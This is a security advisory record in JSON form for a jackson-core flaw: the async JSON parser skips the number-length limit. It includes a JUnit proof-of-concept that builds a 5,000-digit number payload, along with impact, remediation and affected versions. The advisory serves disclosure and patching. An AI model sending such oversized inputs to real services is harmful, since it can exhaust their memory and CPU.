CVE-2026-18401: jackson-core Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-72hv-8253-57qq",
  "modified" : "2026-09-01T18:57:17Z",
  "published" : "2026-02-28T02:01:05Z",
  "aliases" : [ "CVE-2026-18401" ],
  "summary" : "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition",
  "details" : "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits — UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits — BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed — async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i < numDigits; i++) {\n            sb.append((char) ('1' + (i % 9)));\n        }\n        sb.append('}');\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "tools.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.19.0"
      }, {
        "fixed" : "2.21.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.15.0"
      }, {
        "fixed" : "2.18.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.18.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-18401"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/pull/1555"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FasterXML/jackson-core"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-28T02:01:05Z",
    "nvd_published_at" : null
  }
}